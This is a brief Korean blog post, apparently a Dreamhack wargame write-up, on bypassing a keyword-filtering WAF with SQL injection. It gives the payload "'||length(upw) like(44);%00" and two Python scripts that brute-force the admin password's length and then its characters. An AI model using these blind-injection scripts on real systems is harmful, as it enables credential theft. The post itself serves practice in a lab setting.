모의해킹/Dreamhack
sql injectuon bypass WAF [WEB LEVEL1]
철민1234
2023. 4. 17. 16:31
728x90
guest을 입력했을 때, guest가 출력이 된다.
admin을 입력했을 때는 WAF에 때문에 막혀있다.
소스 코드를 보니 keywords에 적혀있는 문자는 WAF에 걸리는 거 같다.
admin에 대한 upw의 패스워드의 길이를 구하기 위해 '||length(upw) like(44);%00 구문을 사용했다.
import requests
url = '해당 URL'
num = 0
while True:
num += 1
param = {"uid":"'||length(upw)like("+str(num)+");%00"}
req = requests.get(url,params=param)
if "admin" in req.text:
print(num)
break
import requests
from string import ascii_letters, digits
a = ascii_letters + digits
url = "http://host3.dreamhack.games:16434/"
num = 0
ch =''
while True:
num += 1
for i in a:
param = {"uid":"'||substr(upw,"+str(num)+",1)like('"+str(i)+"');%00"}
req = requests.get(url,params=param)
if "admin" in req.text:
ch += i
print(ch)
break
쿼리 구문을 알았기에 flag값이 들어있는 admin의 upw값을 확인할 수 있다.